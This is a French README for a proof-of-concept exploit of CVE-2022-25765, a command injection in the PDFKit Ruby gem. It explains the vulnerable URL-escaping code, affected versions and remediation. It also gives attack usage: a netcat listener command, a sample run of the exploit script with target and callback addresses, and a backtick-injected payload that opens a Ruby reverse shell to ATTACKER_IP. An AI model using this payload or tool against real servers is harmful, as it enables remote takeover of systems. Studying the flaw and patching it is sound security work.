Exploit CVE-2022-25765

Un petit exploit POC pour CVE-2022-25765, PDFkit-CMD-Injection

Utilisation

1. Démarrez un écouteur netcat sur votre machine d'attaque :

   nc -lvnp 4444
   

2. Exécutez l'exploit :

   python cve-2022-25765.py -t http://TARGET_IP:PORT -l YOUR_IP -p YOUR_PORT
   

Exemple :

python cve-2022-25765.py -t http://10.40.11.43:80 -l 10.10.14.12 -p 4444

Paramètres :

• -t, --target : URL cible exécutant PDFKit vulnérable
• -l, --lhost : Votre adresse IP pour la connexion du shell inversé
• -p, --lport : Votre port pour la connexion du shell inversé (doit correspondre à votre écouteur netcat)

Informations sur la vulnérabilité

ID CVE : CVE-2022-25765 Score CVSS v3.1 : 9.8 (Critique) Score EPSS : 71,381% (99e percentile) CWE : CWE-77 - Neutralisation incorrecte des éléments spéciaux utilisés dans une commande

Versions affectées

• Vulnérable : PDFKit 0.0.0 - 0.8.6
• Corrigé : PDFKit 0.8.7.2+

Description

PDFKit est une gemme Ruby qui convertit du HTML en PDF à l'aide de l'outil en ligne de commande wkhtmltopdf. La vulnérabilité réside dans la façon dont PDFKit gère les paramètres d'URL avant de les transmettre aux commandes système du shell pour la génération de PDF.

Détails techniques

La vulnérabilité se trouve dans lib/pdfkit/source.rb où la désinfection d'URL est mal implémentée :

def shell_safe_url
  url_needs_escaping? ? URI::DEFAULT_PARSER.escape(@source) : @source
end

Le problème :

1. PDFKit utilise une logique défectueuse pour déterminer si une URL nécessite un échappement
2. Les métacaractères de shell (backticks, points-virgules, pipes, etc.) peuvent contourner cette vérification
3. Les URL non désinfectées sont transmises directement aux commandes shell qui invoquent wkhtmltopdf
4. Les attaquants peuvent injecter des commandes arbitraires qui s'exécutent sur le serveur

Vecteur d'attaque :

• Complexité : Faible
• Privilèges requis : Aucun
• Interaction de l'utilisateur : Aucune
• Accès réseau : Requis

Comment cet exploit fonctionne

Ce PoC exploite la vulnérabilité en :

1. Injectant une URL malveillante contenant une substitution de commande par backtick
2. Le payload : http://ATTACKER_IP:PORT/?name=%20` ruby -rsocket...`'
3. PDFKit ne parvient pas à désinfecter les backticks dans le paramètre d'URL
4. Lorsque wkhtmltopdf traite l'URL, le shell exécute le shell inversé Ruby
5. Le système cible se reconnecte à l'écouteur de l'attaquant

Impact

• Confidentialité : Élevée - Accès complet au système
• Intégrité : Élevée - Capacité de modifier n'importe quel fichier
• Disponibilité : Élevée - Risque de perturbation du système

Prérequis pour une exploitation réussie

Sur le système cible :

• Version vulnérable de PDFKit (< 0.8.7.2)
• Ruby installé (requis pour le payload du shell inversé)
• L'application accepte des URL contrôlées par l'utilisateur transmises à PDFKit
• Aucun filtrage de sortie bloquant les connexions sortantes

Remédiation

1. Mettre à jour PDFKit vers la version 0.8.7.2 ou ultérieure
2. Validation des entrées : Mettre en œuvre une liste blanche stricte pour les entrées d'URL
3. Sandboxing : Exécuter les processus PDFKit dans des conteneurs isolés avec des privilèges minimaux
4. Segmentation réseau : Restreindre les connexions sortantes des services de génération de PDF
5. Règles WAF : Déployer des règles pour détecter les métacaractères de shell dans les paramètres d'URL

Références

• NVD - CVE-2022-25765
• GitHub Advisory GHSA-rhwx-hjx2-x4qr
• PDFKit Issue #507
• RubySec Advisory